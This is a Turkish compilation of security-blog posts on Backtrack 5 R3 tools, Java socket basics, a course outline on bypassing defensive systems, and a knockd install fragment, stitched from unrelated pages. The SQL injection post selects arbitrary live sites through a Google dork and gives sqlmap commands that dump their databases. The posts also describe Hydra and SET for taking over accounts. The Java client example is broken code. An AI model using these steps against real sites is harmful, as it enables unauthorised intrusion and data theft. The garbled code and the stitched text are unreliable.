103
http://www.gokhangokcinar.com/ Bilişim Notları "Bilgisayarlardan korkmuyorum.Onların yokluğundan korkuyorum."-- ISAAC ASIMOV Ana SayfaHakkımdaİletişimProjelerimKaralama Defteri 26 Kasım 2014 Çarşamba 5-) BACKTRACK 5 R3 İLE SQL INJECTION( VERİ TABANI AÇIĞI ) BULUNMASI VE VERİTABANINA GİRİLMESİ Merhaba Arkadaşlar; Uzun bir aradan sonra tekrar Backtrack yazı dizisine devam ediyorum. Bu konumuzda sizlere elimden geldiğince SQL Injection ( Structured Query Language Injection) hakkında bilgi vermeye çalışacağım ve video'da ise canlı olarak hedeflediğimiz sitemizin veri tabanına ulaşmaya çalışacağız. Öncelikle SQL Injection bir Veri Tabanı güvenliği açığı olarak bilinen bir saldırı şeklidir. Günümüzde kullanımı oldukça yaygın ve gelişmektedir. En çok kullanılan tarafları genel olarak üye giriş panelleri,kayıt işlemleri gibi yerlerde kullanılması yaygındır. SQL Injection Web Uygulamalari açığı başlığı altında yer alır fakat ben fazladan başlıklar yerine konuyu elimden geldiğince kademe kademe işlemeye ve videolu anlatım yapmaya çalışacağım. Evet arkadaşlar elbette kimse yaptığı veya kullandığı web sitesinin veri tabanına erişilmesi istemez çünkü büyük problemlere sebep olabilir. Mesela; Güvenirliği tam olmayan, sadece sonuç odaklı çalışan bir Alişveriş sistesini düşünelim. Bura da sonuç odaklı söylememin sebebi yani site yöneticisi sadece kar durumunu benimsemiş asla sitesinin Penetrasyon Testine tutmamış,Saldırı

Ceh ders not

Embed Size (px)

Citation preview

Page 1: Ceh ders not

http://www.gokhangokcinar.com/

Bilişim Notları

"Bilgisayarlardan korkmuyorum.Onların yokluğundan korkuyorum."--ISAAC ASIMOV

Ana SayfaHakkımdaİletişimProjelerimKaralama Defteri

26 Kasım 2014 Çarşamba

5-) BACKTRACK 5 R3 İLE SQL INJECTION( VERİ TABANI AÇIĞI ) BULUNMASI VE VERİTABANINA GİRİLMESİ

Merhaba Arkadaşlar;

Uzun bir aradan sonra tekrar Backtrack yazı dizisine devam ediyorum. Bu konumuzda sizlere elimden geldiğince SQL Injection ( Structured Query Language Injection) hakkında bilgi vermeye çalışacağım ve video'da ise canlı olarak hedeflediğimiz sitemizin veri tabanına ulaşmaya çalışacağız.

Öncelikle SQL Injection bir Veri Tabanı güvenliği açığı olarak bilinen bir saldırı şeklidir. Günümüzde kullanımı oldukça yaygın ve gelişmektedir. En çok kullanılan tarafları genel olarak üye giriş panelleri,kayıt işlemleri gibi yerlerde kullanılması yaygındır.

SQL Injection Web Uygulamalari açığı başlığı altında yer alır fakat ben fazladan başlıklar yerine konuyu elimden geldiğince kademe kademe işlemeye ve videolu anlatım yapmaya çalışacağım.

Evet arkadaşlar elbette kimse yaptığı veya kullandığı web sitesinin veri tabanına erişilmesi istemez çünkü büyük problemlere sebep olabilir. Mesela; Güvenirliği tam olmayan, sadece sonuç odaklı çalışan bir Alişveriş sistesini düşünelim. Bura da sonuç odaklı söylememin sebebi yani site yöneticisi sadece kar durumunu benimsemiş asla sitesinin Penetrasyon Testine tutmamış,Saldırı senaryolarına karşı ne yapacağı hakkında bilgisi olmayan bir siteden bahşediyorum. :) Tabi böyle sitelerin varlığı hele hele kredi kartları,hesap kartları kullanıldığı için en üst seviye güvenlikli olması gerekir. Neyse konuyu fazla uzatmıyorum ve senaryoma devam ediyorum... O alışveriş sitesinden çok güzel bir ürün beğendiniz dediniz ki bu ürün benim olmalı :) Hemen işe koyuldunuz bir de ne görüyorsunuz kayıt olmanız lazım :) Ama sizin umrunuzda mı tabi ki değil çünkü o ürünü çok istiyorsunuz. :) Hemen kayıt işleminiz gerçekleştiriyorsunuz ve siteye girişi yapıyorsunuz. Ama bilmediğiniz bir şey var site belki de kredi kartı no'sunu kayıt etmenizi isteyebilir( bu ihtimal çok düşük olsa da tekrar hatırlatmakta fayda var şu anda bir senaryo uyduruyorum ) Neyse sonra siz kredi kartı no'yu kayıt ediyorsunuz ama sadece siz değil o işlemi başkaları da kayıt ediyor. Ve daha bir çok bilginiz de ele geçiriliyor. Siz bir ürün isterken bi bakmışınız 10 ürün alınmıs tabi bu iyi tarafı :) İşte bu tür saldırı senaryoları başında

Page 2: Ceh ders not

veri tabanını iyi koruyamama ya da açıklıklar bulunması.... Tabi bir web sitesini SQL Injection saldırılarından koruyabiliriz. Bununla ilgili çözümleri ilerde paylaşacağım.

Şimdi ihiyacımız olan şey ilk önce bir hedef site belirlememiz. Bunu video'da anlatacağım ama burada da yazmamda fayda var diye düşündüm.

Google arama çubuğuna " inurl:news.php?=id " yazıyoruz. Veri tabanı açığı olan veya SQL Injection saldırısı için uygun siteler sıralanıyor. Bu siteleri farklı şekilde de bulabiliriz ama en uygunu yukarıda yazdığım dork'tur.

Yukarıda yaptığımız işlemle hedef sitemizi belirledik. Şimdi artık sıra işlemlerimizi gerçekleştirmede :)

Bundan önce video'da kullanacağım program ve kodlardan bahsedeyim.

Öncelikle windows ortamında kullanacağımız ( zorunlu değil ) havij yazılımını indiriyoruz.

Daha sonra SqlMap kullanacağımız için Backtrack 5 R3 işletim sistemine ihtiyacımız var.

Şimdi de Backtrack 5' de Terminal ekranda yazacağımız kodları yazalım.

" pyton ./sqlmap.py -u [ hedef site ismi] --dbs " ---> Veri tabanlarını listeler.

" pyton ./sqlmap.py -u [hedef site ismi] -D [seçilen veritabanı] --tables "--->Tabloları listeler.

" pyton ./sqlmap.py -u [hedef site ismi] -D [seçilen veritabanı] -T [seçilen tablo adı] --columns " ---> seçilen tablodaki verileri getirir.

" pyton ./sqlmap.py -u [hedef site ismi] -- dump -T [Tablo adı] -D [ seçilen veritabı adı] " ---> kolonların içerisindeki bilgileri getirir.

Aşağıdaki video da bu işlemlerin nasıl yapıldığını göstermeye çalışacağım.

Page 3: Ceh ders not

Gönderen Burak Gökçınar zaman: 01:28 Hiç yorum yok:

Bunu E-postayla Gönder

BlogThis!

Twitter'da Paylaş

Facebook'ta Paylaş

Pinterest'te Paylaş

Etiketler: Backtrack 5 r3, Penetrasyon Testleri, Sızma Testleri, SQL INJECTION, SqlMap, veri tabanı güvenlik

12 Kasım 2014 Çarşamba

JAVA SOKET PROGRAMLAMA (DEVAM)

Arkadaşlar Java'da Soket Programlamaya daha önce basit bir giriş yapmıştık. Şimdi ise biraz daha detaylı şekilde ele almaya çalışacağız. Yapılan çalışmalar ECLİPSE'de yapıyorum diğer java derleyicilerini de elbette kullanabilirsiniz.

Öncelikle sizinle paylaşmaya çalışacağım konu soket programın Server-Client tarafında nasıl işlendiği,neler yapılması gerektiği ve nasıl çözümlenmesi gerektiğinden bahsetmeliyiz. Soket programlama da Server ve Client ayrı ayrı kodlanır. Daha önceki konuda direk örneği paylaşmam biraz çalışma mantığını özetliyor tabiki de ama ben yine de söylemek istedim. :)

Programın algoritmasına göre tasarlanan kodlar kümesinde Server tarafı Client(istemci) tarafına istenilen dataları barındırır ve paylaşır. Client(istemci) ise bu dataları vb. yapıları işler Server-Client arası mekik okuma gibi işlemler yapılır. Bunu yaparken de tabi ki bir port no'da bu işlemler sağlanır. Biraz kafanız Karışmış olabilir ama bunla ilgili simple bir örnek yapınca biraz daha açıklayıcı olurum

Page 4: Ceh ders not

umarım :) Tabi bir soket program'dan bahsederken sadece server-client'den ibaret değil ama ilk başlangıç adımlarımız için bu terimler yeterlidir. TCP/IP Soket programlama olarak da litaratür de geçer. Habarleşme de port no'ların kullanılacağından bahsetmiştik. Bazı yapılar için port numaralarını sizinle paylaşmak isterim.

ftp 21/tcp

telnet 23/tcp

smtp 25/tcp

login 513/tcp

http 80/tcp

https 443/tcp

Bu bölümde biraz daha olayı detaylandırdık. Soket Programlama sadece Java'da deği C/C++,C# gibi programlama dillerinde de işlenen konudur.

Şimdi size Server-Client yapısı'nın nasıl olması gerektiğini,genel mantık yapılarını bir örnek üzerinden video üzerinden göstermeye çalışayım. İnşallah yararlı olabilirim.

Gönderen Burak Gökçınar zaman: 03:04 Hiç yorum yok:

Bunu E-postayla Gönder

BlogThis!

Twitter'da Paylaş

Facebook'ta Paylaş

Pinterest'te Paylaş

Page 5: Ceh ders not

8 Kasım 2014 Cumartesi

JAVA SOCKET PROGRAMMING

Soket, bir sunucu programı ve bir veya birden çok istemci programı arasında çift yönlü iletişim kuran bir yazılım uç noktasıdır.

Sunucu programı genellikle istemci programları ağına kaynak sağlar. İstemci programları, sunucu programına istekler gönderir ve server programı da bu isteklere yanıt verir.

Thread(iş parçacığı) kullanarak, multi-threaded(çoklu iş parçacığı) sunucu programı istemciden genel bağlantıyı kabul edebilir, bu bağlantı için thread başlatılır ve diğer istemcilerin istekleri dinlenilmeye devam edilir.

"java.net" paketi 2 yaygın ağ protokolü için destek sağlar:

* TCP : TCP, Transmission Control Protocol anlamına gelir ve bu protokol iki uygulama arasında güvenilir iletişim sağlar. TCP genellikle, TCP/IP olarak anılan Internet Protocol üzerinden kullanır.

* UDP : UDP, User Datagram Protocol anlamına gelir, ve bu bağlantısız protokol uygulamalar arasında aktarılacak veri paketleri sağlar

Soket Programlama daha geniş şekilde incelenmesinde yarar verdır. Soket Program hakkında daha detaylı bilgiyi " http://www.oracle.com/technetwork/java/socket-140484.html " adresinden bulabilirsiniz. Soket Programlama için oldukça geniş yabancı kaynaklar da mevcuttur. Benim burada ki amacım size az da olsa Soket Program hakkında bilgisi olmayan için veya daha önce de duymamış olanlar için hatta meraklılar için bu yazıyı uzun bir aradan sonra yazıyorum.

Örnek :

DateServer.java

package JavaSocketProgramming;

Page 6: Ceh ders not

import java.io.IOException;

import java.io.PrintWriter;

import java.net.ServerSocket;

import java.net.Socket;

import java.util.Date;

public class DateServer {

public static void main(String[] args) throws IOException {

ServerSocket listener = new ServerSocket(9090);

try {

while (true) {

Socket socket = listener.accept();

try {

PrintWriter out =

new PrintWriter(socket.getOutputStream(), true);

out.println(new Date().toString());

} finally {

socket.close();

}

}

}

finally {

listener.close();

}

}

Page 7: Ceh ders not

}

DateClient.java

package JavaSocketProgramming;

import java.io.BufferedReader;

import java.io.IOException;

import java.io.InputStreamReader;

import java.net.Socket;

import javax.swing.JOptionPane;

public class DateClient {

Socket s = new Socket(serverAddress, 9090);

BufferedReader input =

new BufferedReader(new InputStreamReader(s.getInputStream()));

String answer = input.readLine();

JOptionPane.showMessageDialog(null, answer);

System.exit(0);

}

}

Arkadaşlar öncelikle "DateServer.java" daha sonra da

"DateClient.java" yı çalıştırıyoruz.

Gönderen Burak Gökçınar zaman: 23:58 Hiç yorum yok:

Bunu E-postayla Gönder

Page 8: Ceh ders not

BlogThis!

Twitter'da Paylaş

Facebook'ta Paylaş

Pinterest'te Paylaş

Etiketler: Java, Multi-Thread, Socket Programming, Soket Programlama, Soket Programlama Örnek, Thread

25 Ağustos 2014 Pazartesi

4-) BACKTRACK 5 R3 İLE HYDRA (PASSWORD ATTACK) ve SET (SOCIAL TOOLS ATTACK) ARAÇLARIN TANITIMI

Merhaba arkadaşlar. Belli bir aradan sonra tekrar Backtrack 5 R3 VE PENETRASYON testleri araçlarının tanıtımına devam etmekteyim :) Öncelikle bugün tanıtacağım araçlar geliştirme araçları,yöntemleri,saldırı durumu vb. gibi detaylarca çeşitlilik gösterebilir. Bu tür ataklarda en önemli şey tabi ki bilgi yanında sabırdır :)

Lafı daha fazla uzatmadan HYDRA ve SET araçlarını elimden geldiğince tanıtmaya çalışacağım. HYDRA aracı bir şifre atak aracıdır aslında tam bir atak aracı sayılmaz video'da daha detaylı anlatacağım tabi ki ama elinizde birçok kişinin şifreleri var ama hangisi hangisine ait bilmiyorsunuz mail adresini bilmeniz yeter çünkü o mail adresine ait şifre hangisi milyon tane de olsa aralarıdan çok kısa bir süre de bulup getiriyor. SET aracı ise 'social network' yani sosyal ağlar'ın ele geçirilmesini sağlayan bir araçtır bu araçlardan birden farklı yol tabi ki vardır belki de diyebilirsiniz facebook gibi büyük bir kuruluşun/şirket'in nasıl bu tür açıkları olabiliyor diye ? Ama belki de atlanan bir yer var bunda facebook asla sorumlu olmayacaktır ve tutamazlar da çünkü; kişi kendi isteğiyle geliyor yani ne yaparsa kendi kendine yapıyor :) Bu durum tabi ki hoş karşılanmayacaktır hatta neden anlattığımı bile sorabilirsiniz ? Bunları anlatmamda ki amacım hemen gidin arkadaşınızın vs. hesaplarını alın onların içeriklerini haksız/izinsiz değiştirin şu bu..... Bu tür durumlar suçtur ve bunu daha önce açıkça daha önceki yazılarımda söyledim. Unutmayın arkadaşlar nasıl birisinin hesabını ele geçirirken ben uzaktayım nasıl bulacak diye sakın düşünmeyin telefonunuza kadar bulunabilir hatta ve hatta dinlenebilir sizin internet ortamında yaptıklarınızı izleyebilir bilgi alabilir ve adresinize kadar bulunabilir.... Ama bunları daha da geliştirebilirsek savunma sanayi,silah sanayisi,otomobil vs. gibi alanlara da entegre edebilirsek işte o zaman neden bunların var olduğu daha iyi anlaşılır...

Page 9: Ceh ders not

İlginiz için teşekkür ederim... :)

Gönderen Burak Gökçınar zaman: 01:52 Hiç yorum yok:

Bunu E-postayla Gönder

BlogThis!

Twitter'da Paylaş

Facebook'ta Paylaş

Pinterest'te Paylaş

Etiketler: Backtrack 5 r3

6 Ağustos 2014 Çarşamba

3-) BACKTRACK 5 R3 İLE DNS ANALİZ ARAÇLARI VE PİNG TARAMASI(fping aracı)

Merhaba arkadaşlar... Bugün Backtrack konumuzun biraz daha derine iniyoruz. Yapacağımız çalışmada DNS Analiz aynı zamanda ip bakımı domain kayıtları,mail adres vb. kayıtları gösterme yine DNS Analiz kısmında bulunan reverseraider ile web adreslerin ip değerinin/aralıkların bulunması ve son olarak ise fping aracı ile ağda ping ataması yapılamasını göstereceğim.

Artık daha da görsel hale geldiğimiz için bundan sonrakileri genellikle video ortamında anlatmaya çalışacağım.

İlginize Tekrar Teşekkür ederim...:)

Page 10: Ceh ders not

Gönderen Burak Gökçınar zaman: 04:44 Hiç yorum yok:

Bunu E-postayla Gönder

BlogThis!

Twitter'da Paylaş

Facebook'ta Paylaş

Pinterest'te Paylaş

Etiketler: Backtrack 5 r3

5 Ağustos 2014 Salı

2-) BACKTRACK 5 R3 GİRİŞ-2 VE WIRESHARK TANITIMI

Merhaba arkadaşlar... Bugün Backtrac 5 r3 işletim sistemi hakkında bilgi vermeye devam edeceğim. Öncelikle Penetrasyon testlerinin öneminden daha önce bahsetmiştim. Yapılan incelemeler,çıkarılan sonuçlar,son anda düzeltilen hatalar,küçük(önemsiz) görülen ihmaller doğrultusunda ortaya ileride çıkacak büyük sorunlar... Bunların hiçbirinin olmasını istemeyiz... Aslında Penetrasyon Testleri bir Hacker işi gerektirmiyor fakat işi o boyuta süren özellikle yurt dışında kişiler oldukça fazla... Eğer Penetrasyon Testleriyle Güvenlik sağlamak istiyorsak öncelikle bazı terimle iyi anlamamız lazım. Tabi ki bu hemen olacak bir şey değil... Zamanla göreceksiniz ki en azından aklınızda bir fikir sahibi olmuşsunuz ki bu Türkiye geleceği için ileride oluşacak güvenlik,koruma vb. ihtiyaçlar için gurur verici bir durum. Unutmayın amacımız insan özgürlüğüne müdahale etmek değil onları daha da özgür ama güvenli hale getirmek...

Evet arkadaşlar şimdi isterseniz aşağıda yayınlamış olduğum videomuza bakalım. Videomuzda, klavye düzeni hakkında bilgi,Bactrack 5 r3 menü tanıtımı ayrıca bazı termal komutları,Erişim Yetkilerinin Kullanılması ve WireShark yazılımı hakkında bilgi vereceğim ve artık Penetrasyon Testlerin'de girişimizi ilerletelim...

Ayrıca yazıyla da Erişim Yetkileri Hakkında bilgi vereyim.

0 Sayısı 000 ---->izin yok ! kullanımı: ---

1 Sayısı 001 ---->sadece çalıştırma, kullanımı: --x

2 Sayısı 010 ---->sadece yazma, kullanımı: -w-

3 Sayısı 011 ---->yazma ve çalıştırma, kullanımı: -wx

Page 11: Ceh ders not

4 Sayısı 100 ---->sadece okuma, kullanımı: r--

5 Sayısı 101 ----> okuma ve çalıştırma, kullanımı: r-x

6 Sayısı 110 ---->okuma ve yazma, kullanımı: rw-

7 Sayısı 111 ----> okuma,yazma ve çalıştırma, kullanımı: rwx

NOT: ARKADAŞLAR VİDEO DA ERİŞİM YETKİLERİNDE 8 SAYISINA KADAR DEMİŞİM AMA YAZIMLAR DOĞRU SADECE KAFA KARIŞIKLIĞI OLMASIN DİYE YUKARIDA BİR DAHA BELİRTTİM. ÖZÜR DİLERİM...

Şimdiden ilginiz ve anlayışınız için Teşekkür ederiz... :)

Gönderen Burak Gökçınar zaman: 05:40 Hiç yorum yok:

Bunu E-postayla Gönder

BlogThis!

Twitter'da Paylaş

Facebook'ta Paylaş

Pinterest'te Paylaş

Etiketler: Backtrack 5 r3, Penetrasyon Testleri, WireShark, WireShark yazılımı

3 Ağustos 2014 Pazar

1-) BACKTRACK 5 R3 VE PENETRASYON(SIZMA) TESTLERİ

Page 12: Ceh ders not

Merhaba arkadaşlar... Geliştirdiğiniz bir yazılım sizce yeterince dışarıya dönük korunaklı mı ? Peki ya web ortamlarında gezinirken içiniz rahat rahat dolaşıyor musunuz? Acaba mailinize gelen abuk sabuk mesajlara bir anlam getiremiyor musunuz ? Hatta eminim ben nerelere kayıt olmuşum veya kardeşim,yiğenim aah ahh nerelere girmiş böyle dediğinizi de sanki duyar gibiyim :) O zaman kendi test aşamalarınızı,güvenlik zafiyetleri olan yerlerin tespit edilmesi vb. birçok sey belki ilginizi çekebilir. O zaman bu yazı tam size göre...

LÜTFEN ÖNCELİKLE NOT'U DİKKATLİ ŞEKİLDE OKUYUNUZ...

NOT: Türk Caza Kanunun'da izinsiz olarak yapılan güvenlik izleme,test aşamalarının tespit etme,başkalarının özgürlüğüne en ufak müdahale edilmesi bilişim suçu olarak nitelendirilmiştir. Bundan dolayı Ceza-i işlem uygulanmaktadır. Kişilerin hür ve özgürlüklerine müdahale de bulunarak kısıtlanması,kişi ve/veya kuruluşların izni olmadan sistem taramalarının gerçekleştirilmesi ayrıca izinsiz şifre/dosya/evrak değiştirme/tahsil etme durumlarında gerekli yasalarca ceza-i işlem uygulanır.

Bunları yazmamda ki amaç sadece bu olayın bir test aşamasından oluşmadığını belirtmek istemem. Çünkü g-mail/hotmail hesap şifreleri ayrıca Facebook/Twitter/Instegram gibi paylaşım hesap şifreleri,Wi-fi ağ içerisine girme,farkedilmeden verileri kişisel PC'ye yönlendirme ayrıca elektronik yönden ise yapacağımız bir takip sistemi ile klavyeden girilen her türlü verinin kişisel PC'mize aktarılması ve Sinyal Kesiciler(Jammer) ile ilgili uygulama aşamaları da genel olarak Penetrasyon Testlerine girmekte...

Öncelikle daha önceki yazılarımda da anlattığım sanal makinaya işletim sistemini(Backtrack 5 r3) nasıl kurulacağını ve Penetrasyon Testleri hakkında kısaca bilgiler vererek elimden geldiğince anlatmaya çalışacağım.

Backtrack 5 r3 dowland(indirme) yerinide torrent sitesinin URL adresini paylaşayım.

"http://yourbittorrent.com/torrent/3581117/bt5r3-kde-32.html" adresinden Bactrack 5 r3 32 bit işletim sistemini indirebilirsiniz. İsterseniz 64 bit seçeneği de indirebilirsiniz.

Video da anlattığım gibi Backtrack 5 r3 32 bit kurulumundan sonra "Login" ve "Password" yerine aşağıdaki değerleri yazınız.

LOGİN: root

PASWORD: toor veya root (ikisinden biri olacaktır)

Page 13: Ceh ders not
Page 14: Ceh ders not

Bilgi Güvenliği AKADEMİSİ olarak yaklaşık bir yıldır üzerinde çalıştığımız yeni eğitimimiz artık sunuma hazır hale geldi. Eğitime ait detayları aşağıda bulabilirsiniz.

Eğitim Tanımı:

Siber güvenliğin sağlanmasında en güvenli yol katmanlı güvenli mimarisinin uygulanması ve bu mimariye göre her katmanda ilgili çözümlerin tercih edilmesidir. Günümüz internet dünyasında genellikle güvenlik kelimesi çözüm odaklı değik ürün odaklı olarak işlenmektedir. Yurt dışından alınan ürünler tüm dünyadaki ortalama IT sistemlerine hitap edecek şekilde geliştirildikleri için ön tanımlı ayarlarla yeteri kadar güvenlik sağlamazlar. Bu eğitimle kurumların sahip oldukları ya da olmayı planladıkları siber savunma sistemleri hakkında detay teknik bilgi ve bu ürünleri alırken, konumlandırırken gerçekleştirmeleri gereken testler hakkında bilgi edinmeleri sağlanacaktır.

Eğitimin üç ana temel amacı bulunmaktadır: Siber savunma sistemlerinin çalışma mantıklarının anlaşılması, bu sistemlerin konumlandırılırken dikkat edilecek hususların belirlenmesi, siber savunma sistemlerinin test edilmesi ve güvenlik ve mimarisel zafiyetlerinin tespit edilerek istismar edilmesi ve buna bağlı olarak da daha efektif ve güvenli siber savunma sistemlerinin kurulması.

Eğitim her bir kategoriye ait örnek sistemler üzerinden uygulamalı olarak gerçekletirilecek, kurulum imkanı olmayan sistemler için emulator kullanılacaktır.

Eğitim içeriğinde kullanılan test yöntemleri ve kontrol listeleri NSS, ICSA Labs, Westcoast labs gibi endüstri standartı firmaların yayınladığı raporlardan faydalanılarak hazırlanmıştır.

Eğitim Seviyesi:İleri

Kimler Katılmalı: Bilişim güvenliği ürünleri satan, üreten firma personeli, güvenlik projelerinde danışman olarak çalışan uzmanlar, kurumlarda güvenlik operasyonu yapan personel ve IT denetim uzmanları

Page 15: Ceh ders not

Ön Gereksinimler: Temel TCP/IP ve Linux bilgisi, eğitimde anlatılacak konu bağlığı ürünlerle daha önce çalışmış olmak.

Eğitim Süresi: 4 Gün

Eğitim İçeriği:

Siber Savunma Amaçlı Kullanılan Sistemler ve İşlevleri

Güvenlik Duvarı (Firewall)

Yeni Nesil Güvenlik Duvarı Kavramı

Saldırı Tespit ve Engelleme Sistemleri (IPS)

Web Uygulama Güvenlik Duvarı (WAF)

DoS/DDoS Engelleme Sistemleri ve Çalışma Yöntemleri

Veri Kaçağı Engelleme Sistemleri (DLP)

Antivirüs, AntiSpam Sistemleri

AntiMalware/APT Tespit ve Engelleme Sistemleri

Beyaz Liste Uygulama (Application Whitelisting)

İçerik Filtreleme Sistemleri

NAC(Network Access Control ) Sistemleri

Log Yönetimi ve Olay Yönetimi Sistemleri

Güvenlik Duvarı Test ve Atlatma Yöntemleri

Güvenlik duvarı temel işlevleri ve kullanım alanları

Ticari açık kaynak kodlu güvenlik duvarı yazılımları

Page 16: Ceh ders not

Güvenlik duvarı keşif çalışmaları

Güvenlik duvarı performans değerlerini anlama

Datasheet değerleri nasıl elde edilmektedir?

Klasik tünelleme yöntemleri kullanarak Firewall atlatma

Mac spoofing, IP spoofing kullanarak firewall kuralları atlatma

Firewall kurallarının test edilmesi(firewallking).

Firewall yönetim arabiriminin test edilmesi

Güvenlik duvarı projelerinde dikkat edilecek hususlar

Firewall testleri kontrol listesi

Yeni Nesil güvenlik Duvarı

Klasik güvenlik duvarı ve yeni nesil güvenlik duvarı farklılıkları

Port bağımsız protokol tanıma(PiPi) özelliği ve çalışma mantığı

Sık kullanılan antisansür yazılımları (Ultrasurf, Tor, Jane ) engelleme

Açık kaynak kodlu ve ticari yeni nesil güvenlik duvarı yazılımları

Yeni nesil güvenlik duvarı sistemlerinin DNS tünelleme kullanılarak atlatılması

Application cache kullanarak NGFW sistemlerinin atlatılması

Yeni nesil güvenlik duvarı projelerinde dikkat edilecek hususlar

Saldırı Tespit ve Engelleme Sistemleri ve Test Yöntemleri

Saldırı Engelleme Sistemleri çeşitleri (Host/Network/Log)

Yeni nesil IDS/IPS kavramı ve getirileri

Açık kaynak kodlu ve ticari IDS/IPS sistemleri

Yerel ağ saldırıları karşısında IDS konumlandırma

Internet üzerinden IPS keşif çalışmaları

Page 17: Ceh ders not

Örneklerle saldırı tespit kuralı geliştirme (Snort, Sourcefire)

Web atakları karşısında IDS/IPS’lerin yetersizliği örnekleri

Kodlama ve şifreleme (SSL/TLS) kullanarak IDS/IPS atlatma

Parçalanmış paketler kullanarak IPS şaşırtma

Tuzak sistemler kullanarak IDS/IPS şaşırtma

IP sahteciliği kullanarak IDS/IPS atlatma teknikleri

IDS/IPS alırken nelere dikkate edilmeli

Saldırı tespit ve engelleme sistemleri testleri kontrol listesi

DoS/DDoS Engelleme Sistemi ve Test Yöntemleri

DoS/DDoS kavramları ve temel engelleme yöntemleri

Bulut tabanlı DDoS engelleme sistemleri ve artıları/eksileri

Cloudflare üzerinde host edilen sitelere yönelik gerçek ip üzerinden saldırı

Saldırı Tespit ve Engelleme Sistemlerini DDoS engelleme amaçlı kullanımı

DDoS sistemi keşif çalışmaları

IP sahteciliği kullanarak DDoS sistemi atlatma teknikleri

UDP tabanlı flood saldırıları karşısında ddos engelleme sistemlerinin yetersizlikleri

Amplified DNS ve NTP saldırıları ile DDoS sistemlerini şaşırtma

DoS/DDoS sistemi alırken ve konumlandırırken hangi hususlara dikkat etmeli

DDoS testleri kontrol listesi

Antivirüs/HIPS/SEP Yazılımları ve Atlatma Yöntemleri

Antivirüs/HIPS yazılımları ve çalışma mantığı

Bilinen ticari, açık kaynak kodlu antivirüs yazılımları

Antivirüs/HIPS yazılımları atlatma amaçlı kullanılan teknik ve yöntemler

Page 18: Ceh ders not

Crypter, binder kavramları

Metasploit kullanarak test senaryolarının oluşturulması

Tanınmaz AV oluşturma yazılım ve siteleri

Online AV test siteleri

Anti-Malware / APT Tespit Sistemleri ve Test Yöntemleri

APT kavramı ve teknik detayları

Basit araçlar kullanarak tanınmaz zararlı yazılım üretimi

Bilinen APT engelleme sistemleri ve çalışma mantıkları

Antimalware ve Anti Spam keşif çalışmaları

APT/Antimalware projelerinde dikkat edilecek hususlar

APT tespit ve engelleme sistemleri testleri kontrol listesi

Application Whitelisting Sistemleri ve Test Yöntemleri

Negatif ve Pozitif güvenlik modeli farkları

“Application Whitelisting” ürünlerine neden ihtiyaç duyulur

Kullanılan Application whitelisting ürünleri

Uygulama seviyesi ve çekirdek seviyesi koruma yöntemleri

Uygulama seviyesi kontrollerin aşılması

İçerik Filtreleme Sistemleri ve Atlatma Yöntemleri

İçerik filtreleme sistemleri ve temel çalışma yapıları

Standart beyaz liste, kara liste mantığı kullanan sistemler

Dinamik olarak içerik filtreleme yapan sistemleri

İçerik filtreleme sistemleri atlatma test ve teknikleri

Page 19: Ceh ders not

İçerik filtreleme sistemlerini Proxy kullanarak atlatma

İçerik filtreleme ürün seçiminde dikkat edilecek hususlar

İçerik filtreleme testleri kontrol listesi

NAC Çözümü ve Test, Atlatma Yöntemleri

NAC kavramı, avantajları ve sıkıntıları

NAC çalışma mantığı ve bağlı olduğu bileşenler

NAC, 802.1x farklılıkları

Bilinen ticari ve açık kaynak kodlu NAC yazılımları

MAC adres değiştirme yöntemi ile NAC atlatma

DHCP kullanılan ağlarda NAC atlatma teknikleri

Kullanılmayan port (printer vs) üzerinden NAC atlatma testleri

Alternatif NAC atlatma teknik ve yöntemleri

NAC projelerinde dikkat edilecek hususlar

NAC testleri kontrol listesi

Web Application Firewall Test ve Atlatma Yöntemleri

WAF çalışma yapısı ve normal güvenlik duvarları

WAF ve IPS farkları

WAF yerleşim yöntemleri

Ticari ve açık kaynak kodlu WAF ürünleri

Citrix Netscaler, Mod Security, F5 ASM, Barracuda WAF

WAF kullanarak web zafiyetlerinin tespiti ve engellenmesi

Page 20: Ceh ders not

XSS, LFI, SQL injection engelleme

WAF sistemlerine yönelik güvenlik testleri

WAF tespit ve keşif yöntem, araçları

Temel WAF atlatma yöntemleri

HPP(HTTP PArametre Pollution) kullanarak WAF atlatma

Değişik XSS payloadları kullanarak WAF kurallarını aşma

Sqlmap tamper script kullanarak WAF atlatma

Pyronbee kullanarak waf testleri

WAF alımı ve konumlandırma aşamalarında dikkat edilecek hususlar

WAF testleri kontrol listesi

Log Yönetimi Sistemi Test ve İyileştirme Çalışmaları

Log yönetimi ve log toplama farkları

Ticari ve açık kaynak kodlu log yönetimi ve log toplama sistemleri

Log korelasyonu örnekleri

Log yönetimi ve korelasyon sistemlerine şaşırtmaya yönelik sahte log üretimi

Snort imzaları kullanarak sahte saldırı log üretimi

Log yönetimi sistemi alımı ve konumlandırma aşamalarında dikkat edilecek hususlar

Log yönetimi testleri kontrol listesi

DLP-Veri Sızma Engelleme Sistemi ve Test Yöntemleri

DLP öncesi veri sınıflandırma çalışmaları

DLP projelerinde dikkat edilmesi gereken hususlar ve kontrol listesi

DLP çeşitleri

Page 21: Ceh ders not

Host tabanlı ve Ağ tabanlı DLP sistemleri

Ağ tabanlı DLP sistemlerinin eksileri ve atlatma yöntemleri

Host tabanlı DLP sistemlerinin eksileri ve atlatma yöntemleri

Encoding kullanarak Ağ seviyesi DLP sistemlerinin atlatılması

Host tabanlı DLP sistemleri

DLP alımı ve konumlandırma aşamalarında dikkat edilecek hususlar

DLP testleri kontrol listesi

Open menu Share

0 0

05/03/14--09:04: Port Knocking Yöntemi ile Portları Güvenli Açma

Knockd istemci-sunucu mantığı ile çalışan sisteminizde bir port açık olmadığı halde uzaktan vereceğiniz belirli port yoklamaları ile istediğiniz portu açabilecek yada sisteme bağlanmadan istediğiniz komutu çalıştırabilecek bir programdır. Knockd’yi kullanabilmek için aşağıda linki verilen iki yazılımı da indirmelisiniz, sunucu uygulamasını sunucu makinenize istemci uygulamasını da sunucuya bağlanmak istediğiniz herhangi bir makineye kurabilirsiniz.

Kurulum

Sunucu ve istemci tarafı için gerekli paketleri

http://www.zeroflux.org/knock/knock-0.3.tar.gz adresinden indirebilirsiniz.

İstemci tarafına kurulum için,

# rpm -ivh knock-0.3-2.i386.rpm

Preparing... ########################################### [100%]

Page 22: Ceh ders not

1:knock ########################################### [100%]

Sunucu tarafına kurulum için,

# rpm -ivh knock-server-0.3-2.i386.rpm

Preparing... ########################################### [100%]

1:knock-server ########################################### [100%]

Çalışma Mantığı

